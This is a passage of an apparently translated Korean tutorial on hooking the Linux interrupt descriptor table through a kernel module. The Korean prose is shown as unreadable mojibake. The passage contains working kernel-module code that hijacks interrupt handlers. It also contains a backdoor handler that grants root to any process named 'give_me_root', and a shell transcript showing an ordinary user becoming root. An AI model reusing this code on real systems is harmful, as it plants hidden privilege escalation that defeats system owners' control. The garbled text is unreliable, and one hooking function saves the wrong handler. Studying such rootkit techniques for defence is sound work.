ÀÇ µð½ºÅ©¸³ÅÍ¿Í ÀÏÄ¡ÇϰÔ(offset_low ¿Í offset_high) ù¹øÂ° Çڵ鷯ÀÇ ÁÖ¼Ò¸¦ º¯È¯ÇØ¾ß ÇÕ´Ï´Ù. ÇÔ¼ö´Â ´ÙÀ½°ú °°Àº 3 °¡Áö ÆÄ¶ó¹ÌÅ͸¦ ¹Þ¾ÆµéÀÔ´Ï´Ù. ÀÎÅÍ·´Æ® ÈÄÅ· ³Ñ¹ö¿Í »õ·Î¿î Çڵ鷯ÀÇ ÁÖ¼Ò¿Í ÀÌÀüÀÇ Çڵ鷯ÀÇ ÁÖ¼Ò¸¦ ÀúÀåÇϱâ À§ÇÑ Æ÷ÀÎÅͰ¡ ±× 3 °¡Áö ÆÄ¶ó¹ÌÅÍ ÀÔ´Ï´Ù. =========================================================================== void hook_stub(int n,void *new_stub,unsigned long *old_stub) { unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub if(old_stub) *old_stub=(unsigned long)get_stub_from_idt(3); //assign new stub idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); return; } unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } void * get_stub_from_idt (int n) { struct descriptor_idt *idte = &((struct descriptor_idt *)ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); } struct descriptor_idt: struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; =========================================================================== ¿ì¸®´Â ÀÌ¹Ì 64bit¸¦ °®´Â µð½ºÅ©¸³Å͸¦ º» ÀûÀÌ ÀÖÁö¿ä .. ================================================================== unsigned short : 16 bits (offset_low,seg_selector and offset_high) unsigned char : 8 bits (reserved and flag) (3 * 16 bit ) + (2 * 8 bit) = 64 bit = 8 octet ================================================================== ±×°ÍÀº IDT ¸¦ À§ÇÑ µð½ºÅ©¸³ÅÍ ÀÔ´Ï´Ù. ¿ì¸®¿¡°Ô Èï¹Ì·Î¿î Çʵå´Â offset_low ¿Í high »ÓÀÔ´Ï´Ù. ÀÌ µÎ Çʵ尡 ¼öÁ¤µÇ°Ô µÉÅ״ϱî¿ä... Hook_stub Àº ´ÙÀ½°ú °°Àº ¼ø¼­¿¡ µû¶ó ¼öÇàµË´Ï´Ù. ==================================================================== 1: ¿ì¸®´Â ¿ì¸®ÀÇ Çڵ鷯ÀÇ ÁÖ¼Ò¸¦ new_addr ·Î º¹»çÇÕ´Ï´Ù. 2: ù¹øÂ° IDT µð½ºÅ©¸³ÅÍ¿¡ ´ëÇÑ idt º¯¼ö¸¦ ¸¸µé°í, IDTÀÇ ÁÖ¼Ò¸¦ get_addr_idt() ÇÔ¼ö¸¦ »ç¿ëÇØ ¾ò°Ô µË´Ï´Ù. get_addr_idt() ÇÔ¼ö´Â idt ÁÖ¼Ò¿Í idt ÀÇ Å©±â¸¦ ±¸ÇØ º¯¼ö·Î ³Ñ±â´Â sidt ¾î¼Àºí¸® ÀνºÆ®·°¼ÇÀ» ½ÇÇàÇÕ´Ï´Ù. ¿ì¸®´Â ÀÌ °ª(idtr)À¸·Î ºÎÅÍ idtÀÇ ÁÖ¼Ò¸¦ ±¸ÇÏ°Ô µÇ°í, ´Ù½Ã ±× °ªÀ» µ¹·ÁÁÝ´Ï´Ù. ÀÌ´Â ÇÁ·¢ 58 È£ 7¹ø ±Û¿¡¼­ sd¿Í devik ¿¡ ÀÇÇØ¼­ ¼³¸íµÇ¾ú´ä´Ï´Ù. 3: ±×¸®°í get_stub_from_idt ÇÔ¼ö¸¦ »ç¿ëÇÏ¿© ÀÌÀü Çڵ鷯ÀÇ ÁÖ¼Ò¸¦ ÀúÀåÇÕ´Ï´Ù. get_stub_from_idt ÇÔ¼ö´Â ÁÖ¾îÁø µð½ºÅ©¸³ÅÍ·Î ºÎÅÍ offset_high¿Í offset_low Çʵ带 ÃßÃâÇϰí, ÁÖ¼Ò¸¦ ´Ù½Ã Àü´ÞÇÕ´Ï´Ù. ////////////////////////////////////////////////////////////////// struct descriptor_idt *idte = &((struct descriptor_idt *)ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); ////////////////////////////////////////////////////////////////// n Àº ÈÄÅ·Çϱâ À§ÇÑ ÀÎÅÍ·´Æ®ÀÇ ¹øÈ£¶ø´Ï´Ù. idte ´Â Àü´Þ ¹ÞÀº ÀÎÅÍ·´Æ® µð½ºÅ©¸³Å͸¦ Æ÷ÇÔÇÏ°Ô µÈ´ä´Ï´Ù. (%edward : idte ´Â Interrupt Descriptor Table Entry ÀÇ ¾àÀÚÀεí) ¿ì¸®´Â Çڵ鷯ÀÇ ÁÖ¼Ò¸¦ µÇµ¹·ÁÁÖ°í, ¿ì¸®°¡ µÇµ¹·ÁÁִ ŸÀÔÀº 32 bit (void*) ÀÔ´Ï´Ù. offset_high¿Í offset_low µÑ´Ù 16ºñÆ®Àε¥, offset_high ¸¦ ¿ÞÂÊÀ¸·Î 16ºñÆ® shift ½Ã۰í, offset_low ¸¦ ´õÇÏ°Ô µË´Ï´Ù. ±×¸®°í ƯÁ¤ºÎºÐ¿¡ ÀÌ Çڵ鷯ÀÇ ÁÖ¼Ò¸¦ ³Ñ°ÜÁÖÁÒ. (%edward : offset_high ¿Í offset_low °¡ ±â¾ï ¾È³ª½Ã¸é Àú À§·Î ¿Ã¶ó°¡¼Å¼­ ÀÎÅÍ·´Æ® µð½ºÅ©¸³ÅÍ¿¡ ´ëÇÑ Ç¥¸¦ º¸¼¼¿ä.) 4: new_addr ´Â ¿ì¸®ÀÇ Çڵ鷯 ÁÖ¼Ò(Ç×»ó 32 ºñÆ®)¸¦ Æ÷ÇÔÇϰí, ±×¸®°í ¿ì¸®´Â new_addr ÀÇ 16 MSB ¸¦ ÃßÃâÇϰí, offset_high·Î ³Ñ°ÜÁÖ°í, 16 LSB ´Â offset_low ·Î ³Ñ°ÜÁÝ´Ï´Ù. ÀÌÁ¦ ó¸®ÇØ¾ß ÇÒ ÀÎÅÍ·´Æ® µð½ºÅ©¸³ÅÍÀÇ offset_high ¿Í offset_low Çʵ尡 º¯°æµÇ¾ú½À´Ï´Ù. ¿ÏÀüÇÑ ÄÚµå´Â 8Àå ºÎ°¡ÀûÀÎ ³»¿ëÀÇ CODE 1 ¿¡ ÀÖ½À´Ï´Ù. ==================================================================== ¿Ö ÀÌ Å×Å©´ÐÀÌ ¿ÏÀüÇÏÁö ¸øÇѰ¡ ? ÀÌ Å×Å©´ÐÀÌ ³ª»Û°ÍÀº ¾Æ´ÏÁö¸¸ ´Ù¸¥ ÀÎÅÍ·´Æ®¿¡´Â ÀûÀýÇÏÁö ¸øÇÕ´Ï´Ù. ¿©±â¼­ ¿ì¸®´Â ¸ðµç Çڵ鷯´Â ´ÙÀ½°ú °°´Ù´Â °á·Ð¿¡ À̸£°Ô µË´Ï´Ù. ================================ pushl $0 pushl $ SYMBOL_NAME(do_####name) jmp error_code ================================ ÀÌ´Â »ç½ÇÀÔ´Ï´Ù. ¸¸¾à ¿©·¯ºÐµéÀÌ entry.S ÆÄÀÏÀ» ÈÈ¾î º»´Ù¸é, °ÅÀÇ ¸ðµç Çڵ鷯°¡ À§¿Í °°ÀÌ µÇ¾î ÀÖÀ½À» ¾Ë ¼ö ÀÖ½À´Ï´Ù. ÇÏÁö¸¸ ÀüºÎ ±×·±°ÍÀº ¾Æ´ÏÁÒ. (% edward : ¿©·¯ºÐµµ ¿­¾îº¸¼¼¿ä ½ÇÁ¦·Î ´ëºÎºÐÀÌ ±×·¸´ä´Ï´Ù ^^) »ó»óÇØº¸¼¼¿ä syscallÀÇ Çڵ鷯¸¦ ÈÄÅ·°ú device_not_available Çڵ鷯 ¶Ç´Â ½ÉÁö¾î Çϵå¿þ¾î ÀÎÅÍ·´Æ® ±îÁöµµ ÈÄÅ·ÇÑ´Ù´Â °ÍÀ» ... ¾î¶»°Ô ÇÒ ¼ö ÀÖÀ»±î¿ä ? 3.4 - ÀϹÝÀûÀÎ ÀÎÅÍ·´Æ® ÈÄÅ· Áö±ÝºÎÅÍ ¿ì¸®´Â Çڵ鷯¸¦ ÈÄÅ·Çϱâ À§ÇØ ´Ù¸¥ Å×Å©´ÐÀ» »ç¿ëÇÒ°Ì´Ï´Ù. C ·Î ÀÛ¼ºµÈ Çڵ鷯¸¦ ±â¾ïÇϼ¼¿ä ? ¿ì¸®´Â ½ÇÁ¦ C Çڵ鷯·Î µ¹¾Æ °¬À»¶§ return ¿¡°Ô °¨»çÇØ¾ß ÇÕ´Ï´Ù. ÀÌÁ¦ ¿ì¸®´Â ¾î¼Àºí¸® ÄÚµå·Î µ¹¾Æ °¥ °ÍÀÔ´Ï´Ù. ´Ü¼øÇÑ Çڵ鷯 ¿¹Á¦ : ============================================= void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" " call *%0 \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub) ); } ============================================= ¿©±â¼­, ¿ì¸®´Â ¿ì¸®ÀÇ °¡Â¥ C Çڵ鷯¸¦ ¸¸µé°í, Çڵ鷯°¡ ½ÇÇàµÇ°í, ±×¸®°í ½ÇÁ¦ ¾î¼Àºí¸® Çڵ鷯·Î Á¡ÇÁÇϱâ À§ÇÑ ¾î¼Àºí¸® ¾ð¾î·Î ÀÛ¼ºµÈ Çڵ鷯·Î µ¹¾Æ¿À°Ô µË´Ï´Ù. ¿ì¸®ÀÇ C Çڵ鷯 : ====================================================== asmlinkage void my_function() { printk("<1>Interrupt %i hijack \n",interrupt); } ====================================================== ¹«½¼ÀÏÀÌ ÀϾ±î¿ä ? ÀÌÁ¦ idt ÀÇ ÁÖ¼Ò°¡ ¿ì¸®ÀÇ ¾î¼Àºí¸® Çڵ鷯ÀÇ ÁÖ¼Ò·Î º¯°æµÉ °ÍÀÔ´Ï´Ù. ¶Ç ±× Çڵ鷯´Â ¿ì¸®ÀÇ C Çڵ鷯·Î Á¡ÇÁÇϰí, ¿ì¸®ÀÇ ¾î¼Àºí¸® Çڵ鷯·Î µ¹¾Æ¿À°Ô µÇ°í, ¸¶Áö¸·À¸·Î ¿ì¸®¿¡ ÀÇÇØ ÀúÀåµÇ¾ú´ø ½ÇÁ¦ ¾î¼Àºí¸® Çڵ鷯ÀÇ ÁÖ¼Ò·Î Á¡ÇÁÇÏ°Ô µÇÁö¿ä. ================================= ::"m"(hostile_code),"m"(old_stub) ================================= ÀζóÀÎ ¾î¼Àºí¸® ¹®¼­ ¸¸À¸·Î Àú·¯ÇÑ °ÍÀ» Àо±â´Â ¾î·Á¿ì¹Ç·Î ¿©±â¼­ ÀÌ ±¸¹®Àº ¼³¸íÀ» ^^; ======================================== asm ( assembler instruction : Ãâ·Â ¿ÀÆÛ·£µå(output operands) : ÀÔ·Â ¿ÀÆÛ·£µå(input operands) : ¼öÁ¤µÈ ·¹Áö½ºÅÍÀÇ ¸ñ·Ï ); ======================================== ¿©·¯ºÐµéÀº asm ¶Ç´Â __asm__ À¸·Î ÀζóÀÎ ¾î¼Àºí¸® ±¸¹®À» »ðÀÔÇÒ ¼ö ÀÖ½À´Ï´Ù. ´Ù¸¸ __asm__ ´Â ´Ù¸¥ º¯¼öµé°úÀÇ È¥¶õÀ» ÇÇÇϱâ À§Çؼ­ »ç¿ëµÇ°ï ÇÏÁÒ. ¶ÇÇÑ asm volatile À» »ç¿ëÇÒ ¼öµµ Àִµ¥ ÀÌ·¯ÇÑ °æ¿ì¿¡´Â ¾î¼Àºí¸® ÄÚµå´Â ÄÄÆÄÀÏ µÇ´Âµ¿¾È ÃÖÀûÈ­ µÇ°Å³ª º¯°æµÇÁö ¾Ê½À´Ï´Ù. (% edward : ÃÖÀûÈ­ µÇ¸é ¾ÈµÇ´Â ÄÚµåµéÀÌ Àִµ¥, ±×·¯ÇÑ °æ¿ì¿¡ volatile ÀÌ ÀÚÁÖ ¾²À̰ï ÇÏÁÒ. ) "m"(hostile_code) ¿Í "m"(old_stub) Àº ÀÔ·Â ¿ÀÆÛ·£µå ÀÔ´Ï´Ù. "m"(hostile_code) ´Â %0 À̸ç, "m"(old_stub)´Â %1 ÀÔ´Ï´Ù. ±×·¡¼­ %0 À» È£ÃâÇÏ´Â °ÍÀº hostile_code ¸¦ È£ÃâÇÏ´Â °Í°ú °°½À´Ï´Ù. "m"Àº ¸Þ¸ð¸® ÁÖ¼Ò¸¦ ÀǹÌÇÏÁö¿ä. hostile_code ´Â ¿ì¸®ÀÇ Çڵ鷯 ÁÖ¼Ò¿Í ÀÏÄ¡Çϰí, old_stub Àº ÀÌÀüÀÇ idt ¿¡ ÀÖ´ø Çڵ鷯ÀÇ ÁÖ¼Ò¸¦ °®½À´Ï´Ù. ¸¸¾à ÀÌ Äڵ带 ÀÌÇØÇÒ ¼ö ¾ø´Ù¸é ÂüÁ¶¹®Çå & µµ¿ò¸»(7Àå)ÀÇ 1¹ø ³»¿ë ÀÎ ÀζóÀÎ ¾î¼Àºí¸® ¹®¼­¸¦ ÀÐ°í ³­ µÚ¿¡ ´Ù½Ã º¸±æ ±ÇÇÕ´Ï´Ù. Àüü ÄÚµå´Â 8Àå¿¡ ÀÖ½À´Ï´Ù. ´ÙÀ½¿¡ ³ª¿Ã ¸ðµç ÄÚµåµéÀº ±× 8ÀåÀÇ Äڵ忡¼­ ÂüÁ¶ÇÏ°Ô µË´Ï´Ù. »õ·Î ¼Ò°³ µÉ °¢°¢ÀÇ ¿¹Á¦µé¿¡¼­ Àú´Â C Çڵ鷯¿¡¼­ ¾î¼Àºí¸® Çڵ鷯 ºÎºÐ¸¸ º¸¿©ÁÙ °ÍÀÔ´Ï´Ù. ù¹øÂ° ±¸Ã¼ÀûÀÎ ¿¹Á¦ : ================================================================ bash-2.05# cat test.c ///////////////////////////////////// #include int main () { int a=8,b=0; printf("A/B = %i\n",a/b); return 0; } ///////////////////////////////////// bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.2.c bash-2.05# insmod hookstub-V0.2.o interrupt=0 Inserting hook Hooking finish bash-2.05# ./test Floating point exception Interrupt 0 hijack bash-2.05# rmmod hookstub-V0.2 Removing hook bash-2.05# ================================================================ ÁÁ¾Æ¿ä ! ¿ì¸®´Â "Interrupt hijack" À» º¼¼ö°¡ ÀÖ¾ú½À´Ï´Ù. ÀÌ Äڵ忡¼­ ¿ì¸®´Â ¸ðµâ »ðÀÔÀ» ÇÏ´Â µ¿¾È ÆÄ¶ó¸ÞÅÍ Àü´ÞÀ» Çã¿ëÇϱâ À§Çؼ­ MODULE_PARM À» »ç¿ëÇÕ´Ï´Ù. ±×¸®°í ¾ÕÀ¸·Î ³ª¿Ã ±¸¹®¿¡ ´ëÇÑ Á¤º¸´Â o'reilly ÃâÆÇ»ç¿¡¼­ ³ª¿Â "linux device drivers" , ÂüÁ¶¹®Çå 2¹øÀ» Àо½Ã±â ¹Ù¶ø´Ï´Ù. ÀÌ´Â °°Àº ¸ðµâÀ» »ç¿ëÇÏ¿© ¼±ÅÃµÈ ÀÎÅÍ·´Æ®¸¦ ÈÄÅ·ÇÏ´Â °ÍÀ» Çã¿ëÇÏÁö¿ä. 3.5 - ÈÄÅ·À¸·ÎºÎÅÍ ¾òÀ» ¼ö ÀÖ´Â À̵æ : ¿ì¸®ÀÇ Ã¹¹øÂ° ¹éµµ¾î ¸Å¿ì ´Ü¼øÇÑ Ã¹¹øÂ° ¹éµµ¾î´Â root shell À» ¾òÀ» ¼ö ÀÖ°Ô ÇØÁÝ´Ï´Ù. C Çڵ鷯´Â ÀÎÅÍ·´Æ®°¡ ¹ß»ýµÈ ÇÁ·Î¼¼½º¸¦ À§ÇØ ·çÆ® ±ÇÇÑÀ» ÁÖ°Ô µË´Ï´Ù. ¾î¼Àºí¸® Çڵ鷯 --------------- ======================================================= void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" " pushl %%ebx \n" " movl %%esp,%%ebx \n" " andl $-8192,%%ebx \n" " pushl %%ebx \n" " call *%0 \n" " addl $4,%%esp \n" " popl %%ebx \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub) ); } ======================================================= C Çڵ鷯¿¡°Ô ÇöÀç ÇÁ·Î¼¼½º µð½ºÅ©¸³ÅÍÀÇ ÁÖ¼Ò¸¦ ÁÖ¾ú½À´Ï´Ù. ±×¸®°í ±× ÁÖ¼Ò´Â error_code ¿¡ Àü´Þ µÇ°ÚÁÒ. ´ÙÀ½ÀÇ GET_CURRENT ¸ÅÅ©·Î¿¡ °¨»çÇսôÙ. ============================ #define GET_CURRENT(reg) \ movl %esp, reg; \ andl $-8192, reg; ============================ GET_CURRENT ¸ÅÅ©·Î´Â entry.S ¿¡ Á¤ÀÇ µÇ¾îÀÖ½À´Ï´Ù. (% edward : *errorcheck* ) °á°ú¸¦ ½ºÅÿ¡ ³Ö°í ¿ì¸®ÀÇ ÇÔ¼ö¸¦ È£ÃâÇÕ´Ï´Ù. ±×¸®°í ¾î¼Àºí¸® ÄÚµåÀÇ ½ºÅÃÀ» ÀÌÀüÀÇ »óÅ·ΠµÇµ¹¸®°í ½ÇÁ¦ Çڵ鷯·Î Á¡ÇÁÇÕ´Ï´Ù. C Çڵ鷯 : ------------- ======================================================================== ... unsigned long hostile_code=(unsigned long)&my_function; ... asmlinkage void my_function(unsigned long addr_task) { struct task_struct *p = &((struct task_struct *) addr_task)[0]; if(strcmp(p->comm,"give_me_root")==0 ) { p->uid=0; p->gid=0; } } ======================================================================== ¿ì¸®´Â ÇöÀç ÇÁ·Î¼¼½º µð½ºÅ©¸³ÅÍ¿¡ Æ÷ÀÎÅ͸¦ ¼±¾ðÇÕ´Ï´Ù. ±×¸®°í ÇÁ·Î¼¼½ºÀÇ À̸§À» ¿ì¸®¿¡ ÀÇÇØ ¼±ÅÃµÈ À̸§°ú ºñ±³ÇÕ´Ï´Ù. À̶§ ¿ì¸®´Â ¹ß»ýµÈ ÀÌ ¸ðµç ÀÎÅÍ·´Æ® ÇÁ·Î¼¼½º°¡ ·çÆ® ±ÇÇÑÀ» °®´Â´Ù°í »ý°¢Çؼ­´Â ¾ÈµË´Ï´Ù. ¸¸¾à ±× ÇÁ·Î¼¼½º°¡ ÁÁÀº ÇÁ·Î¼¼½º¶ó¸é ¿ì¸®´Â ±× ÇÁ·Î¼¼½º¿¡°Ô »õ·Î¿î ±ÇÇÑÀ» ÁÙ ¼öµµ ÀÖ½À´Ï´Ù. "give_me root" ´Â system("/bin/sh") ¶ó´Â ½©À» ¶ç¿ó´Ï´Ù. ¿ì¸®´Â system ÀÌ ·çÆ® ±ÇÇÑÀ» °®´Â ½©À» ¶ç¿ì±â Àü¿¡ ´ÜÁö breakpoint ¸¦ ³ÖÀ» °ÍÀÔ´Ï´Ù. ½ÇÀü : -------------- ================================================================= bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.3.2.c bash-2.05# insmod hookstub-V0.3.2.o interrupt=3 Inserting hook Hooking finish bash-2.05# ///// in another shell ////// sh-2.05$ cat give_me_root.c #include int main (int argc, char ** argv) { system("/bin/sh"); return 0; } sh-2.05$ gcc -o give_me_root give_me_root.c sh-2.05$ id uid=1000(kad) gid=100(users) groups=100(users) sh-2.05$ gdb give_me_root -q (gdb) b main Breakpoint 1 at 0x80483f6 (gdb) r Starting program: /tmp/give_me_root Breakpoint 1, 0x080483f6 in main () (gdb) c Continuing. sh-2.05# id uid=0(root) gid=0(root) groups=100(users) sh-2.05# ================================================================= ÀÌÁ¦ ¿ì¸®´Â ·çÆ®ÀÔ´Ï´Ù. ÄÚµå´Â 8ÀåÀÇ CODE 2 ¹øÀ» ÂüÁ¶Çϼ¼¿ä. 3.6 - ÈÄÅ·À¸·ÎºÎÅÍ ¾ò´Â Àç¹Ì Àç¹ÌÀÖ´Â ÇÁ·Î±×·¥Àº ¿¹¿Ü ÃßÀû±â ÀÔ´Ï´Ù. ¿ì¸®´Â ¿¹¿Ü¸¦ ¹ß»ý½ÃŲ ÇÁ·Î¼¼½ºÀÇ À̸§À» Ãâ·ÂÇϱâ À§ÇÑ ¸ðµç ¿¹¿Ü¸¦ ÈÄÅ·ÇÏ´Â ¿¹Á¦¸¦ ´Ù·ç¾î½À´Ï´Ù. ±×¸®°í ¿ì¸®´Â ÀÌ¹Ì ¹«¾ùÀÌ ½ÇÇàµÇ´ÂÁö¿¡ ´ëÇØ¼­µµ ¸ðµÎ ¾Ë°í ÀÖ½À´Ï´Ù. ¶Ç ·¹Áö½ºÅÍÀÇ °ªÀ» Ãâ·ÂÇÏ´Â °Í ÇÒ ¼ö ÀÖ´ä´Ï´Ù. Áö±Ý ³ª¿Ã show_regs ÇÔ¼ö´Â arch/i386/kernel/process.c ¿¡ ÀÖ½À´Ï´Ù. ================================================================ void show_regs(struct pt_regs * regs) { long cr0 = 0L, cr2 = 0L, cr3 = 0L; printk("\n"); printk("EIP: %04x:[<%08lx>]",0xffff & regs->xcs,regs->eip); if (regs->xcs & 3) printk(" ESP: %04x:%08lx",0xffff & regs->xss,regs->esp); printk(" EFLAGS: %08lx\n",regs->eflags); printk("EAX: %08lx EBX: %08lx ECX: %08lx EDX: %08lx\n", regs->eax,regs->ebx,regs->ecx,regs->edx); printk("ESI: %08lx EDI: %08lx EBP: %08lx", regs->esi, regs->edi, regs->ebp); printk(" DS: %04x ES: %04x\n", 0xffff & regs->xds,0xffff & regs->xes); __asm__("movl %%cr0, %0": "=r" (cr0)); __asm__("movl %%cr2, %0": "=r" (cr2)); __asm__("movl %%cr3, %0": "=r" (cr3)); printk("CR0: %08lx CR2: %08lx CR3: %08lx\n", cr0, cr2, cr3); } ================================================================ (% edward : cr? ·¹Áö½ºÅÍ´Â Ä¿³Î ¹öÁ¯¿¡ µû¶ó¼­ ¼ö°¡ Ʋ¸±¼öµµ ¾ö¹ÐÈ÷ ¸»Çϸé ÇÁ·Î¼¼¼­°¡ °¡Áø cr ·¹Áö½ºÅÍÀÇ ¼ö¿¡ µû¶ó ´Þ¶óÁö´Â °ÍÀÌÁö¿ä.) ÀÌ Äڵ带 ¸ðµç ¿¹¿Ü¿¡ ´ëÇÑ ·¹Áö½ºÅÍÀÇ »óŸ¦ Ãâ·ÂÇϱâ À§ÇØ »ç¿ëÇÒ ¼ö°¡ ÀÖ½À´Ï´Ù. À§ÇèÇÑ °ÍµéÀº ¾î¼Àºí¸® Çڵ鷯¸¦ º¯°æÇϱâ À§ÇØ ½ÇÁ¦ C Çڵ鷯¸¦ ¼öÇàÇÏÁö ¾ÊÀ» ¼öµµ ÀÖ½À´Ï´Ù. ¿¹¿Ü¸¦ ¹ß»ý½ÃŲ ÇÁ·Î¼¼½º´Â SIGSTOP À̳ª SIGSEGV ¿Í °°Àº ½Ã±×³ÎµéÀ» ¹ÞÁö ¾ÊÀ» °ÍÀ̱¸¿ä. ÀÌ´Â ¾î¶² ¸é¿¡¼­ ¸Å¿ì À¯¿ëÇÑ °ÍÀ̱⵵ ÇÏÁö¿ä. 4 - Çϵå¿þ¾î ÀÎÅÍ·´Æ® 4.1 - Çϵå¿þ¾î ÀÎÅÍ·´Æ®´Â ¾î¶»°Ô ÇØ¾ß ÇÏÁÒ ? ¿ì¸®´Â IRQ¿¡ ÀÇÇØ ¹ß»ýÇÑ ÀÎÅÍ·´Æ® ¶ÇÇÑ °°Àº ¹æ¹ýÀ¸·Î ÈÄÅ·ÇÒ ¼ö ÀÖÁö¸¸ Çϵå¿þ¾î ÀÎÅÍ·´Æ®¸¦ ÈÄÅ·Çϴ°ÍÀº ´ú Èï¹Ì·ÓÁÒ. (¿©·¯ºÐÀÌ Á»´õ ±â¹ßÇÑ »ý°¢À» °®Áö ¸øÇÑ´Ù¸é ¸»ÀÔ´Ï´Ù. ;) ) Áö±ÝºÎÅÍ ¿ì¸®´Â Űº¸µå ÀÎÅÍ·´Æ®ÀÎ 33¹øÀ» ÈÄÅ·ÇÒ°ÍÀÔ´Ï´Ù. ¹®Á¦´Â ÀÌ ÀÎÅÍ·´Æ®´Â ¸Å¿ì ÀÚÁÖ ¹ß»ýÇÑ´Ù´Â °ÍÀÌÁö¿ä. Çڵ鷯´Â ½¯¼¼¾øÀÌ ¼öÇàµÉ °ÍÀ̰í, ½Ã½ºÅÛ¿¡ ÀÇÇØ ¸·È÷Áö ¾Ê°í, ¸Å¿ì ºü¸£°Ô µ¿ÀÛÇÒ °ÍÀÔ´Ï´Ù. (% edward : ¿©·¯ºÐÀÌ À©µµ¿ì ½Ã½ºÅÛÀ» »ç¿ëÇÑ´Ù¸é "ÀåÄ¡°ü¸®ÀÚ"¸¦ ¿­¾î¼­ "º¸±â" -> "¸®¼Ò½º(Á¾·ùº°)" ·Î ¼³Á¤ÇÑµÚ ÀÎÅÍ·´Æ® ¿äû(IRQ)À» Çѹø º¸¼¼¿ä. ½Ã½ºÅÛ Å¸ÀÌ¸Ó ´ÙÀ½ÀÌ ¹Ù·Î Űº¸µå·Î µÇ¾î ÀÖÀ»°Ì´Ï´Ù. Ç¥ÁØ PC °Ç ACPI °Ç ¸»ÀÔ´Ï´Ù. IRQ ¿ì¼±¼øÀ§ º¸´Â¹ýÀº 8259 Ĩ °ü·Ã ³»¿ëÀ» ÂüÁ¶Çϼ¼¿ä.) ÀÌ·¯ÇÑ ¹®Á¦Á¡À» ÇÇÇϱâ À§Çؼ­ ¿ì¸®´Â bottom half ¸¦ »ç¿ëÇÒ °ÍÀÔ´Ï´Ù. °Å±â¿¡´Â ´ëºÎºÐÀÇ °æ¿ì¿¡ ÀÎÅÍ·´Æ® 󸮸¦ À§ÇØ »ç¿ëµÇ´Â ³·Àº ¿ì¼±¼øÀ§ÀÇ ÇÔ¼ö°¡ ÀÖ½À´Ï´Ù. Ä¿³ÎÀº ±×°ÍÀ» ¶ç¿ì±â À§ÇØ Àû´çÇÑ ½Ã°£ µ¿¾È ±â´Ù¸®°í, ±×°ÍÀÌ ½ÇÇàµÇ´Â µ¿¾È ´Ù¸¥ ÀÎÅÍ·´Æ®´Â not masked µË´Ï´Ù. bottom half ¸¦ ±â´Ù¸®´Â °ÍÀº ´ÙÀ½ÀÇ °æ¿ì¿¡¸¸ ¼öÇàµÉ °ÍÀÔ´Ï´Ù. - Ä¿³ÎÀÌ syscall À» 󸮸¦ ³¡¸¶Ä¥¶§ - Ä¿³ÎÀÌ ¿¹¿Ü 󸮸¦ ³¡¸¶Ä¥¶§ - Ä¿³ÎÀÌ ÀÎÅÍ·´Æ® 󸮸¦ ³¡¸¶Ä¥¶§ - Ä¿³ÎÀÌ »õ·Î¿î ÇÁ·Î¼¼½º¸¦ ¼±ÅÃÇϱâ À§ÇØ schedule() ÇÔ¼ö¸¦ »ç¿ëÇÒ¶§ ÇÏÁö¸¸ ±×µéÀº ÇÁ·Î¼¼¼­°¡ À¯Àú¸ðµå·Î µ¹¾Æ¿À±â Àü¿¡ ¼öÇàµÉ °ÍÀÔ´Ï´Ù. µû¶ó¼­ bottom half ´Â ÀÎÅÍ·´Æ®ÀÇ ºü¸¥ 󸮸¦ º¸ÀåÇϴµ¥ ¸Å¿ì À¯¿ëÇÕ´Ï´Ù. (% edward : bottom half ´Â ¸®´ª½ºÀÇ Ä¿³Î ¼­ºñ½º ·çƾÀ¸·Î Ä¿³Î¸ðµå¿¡¼­ µ¿ÀÛÇϸç, top half(¸®´ª½ºÀÇ ÀÎÅÍ·´Æ® ¼­ºñ½º ·çƾ) º¸´Ù´Â ³·Àº ¿ì¼±¼øÀ§¸¦ °®´Â´Ù. top half ¶ÇÇÑ Ä¿³Î ¸ðµå¿¡¼­ µ¿ÀÛÇÑ´Ù.) ¾Æ·¡´Â linux °¡ bottom halves ¸¦ »ç¿ëÇÏ´Â ¸î¸î ¿¹ ÀÔ´Ï´Ù. +----------------+-------------------------------+ |Bottom half | Peripheral equipment | +----------------+-------------------------------+ |CONSOLE_BH | Virtual console | |IMMEDIATE_BH | Immediate tasks file | |KEYBOARD_BH | Keyboard | |NET_BH | Network interface | |SCSI_BH | SCSI interface | |TIMER_BH | Clock | |TQUEUE_BH | Periodic tasks queue | |... | | +----------------+-------------------------------+ (% edward : bh °¡ bottom half ÀÇ ¾àÀÚ °Ú±º¿ä.) Á¦°¡ ÀÌ ¹®¼­¸¦ ÀÛ¼ºÇÏ´Â ¸ñÀûÀº bottom halves ¸¦ °øºÎÇϱâ À§ÇѰÍÀÌ ¾Æ´Õ´Ï´Ù. bottom halves ±îÁö Æ÷ÇԵȴٸé ÁÖÁ¦°¡ ³Ê¹« ³Ð¾îÁö±â ¶§¹®ÀÌÁÒ. ¿©ÇÏÆ° BH ¿¡ °üÇÑ ´õ¸¹Àº Á¤º¸´Â ´ÙÀ½ URL À» ÅëÇØ ¾òÀ» ¼ö°¡ ÀÖ½À´Ï´Ù. (% edward : ÇѸ¶µð·Î Àо¶ó´Â ¸»ÀÌÁÒ.) 7Àå [8] ÂüÁ¶ ******************************************************************** http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html ******************************************************************** IRQ ¸ñ·Ï -------- ¾Ë¾ÆµÎ¼¼¿ä! ÀÎÅÍ·´Æ®ÀÇ ¹øÈ£´Â ¾Æ·¡¿Í Ç×»ó °°Àº °ÍÀº ¾Æ´Ï¶ó´Â Á¡À»... ----+---------------+---------------------------------------- IRQ | Interrupt | Peripheral equipment ----+---------------+---------------------------------------- 0 | 32 | Timer 1 | 33 | Keyboard 2 | 34 | PIC 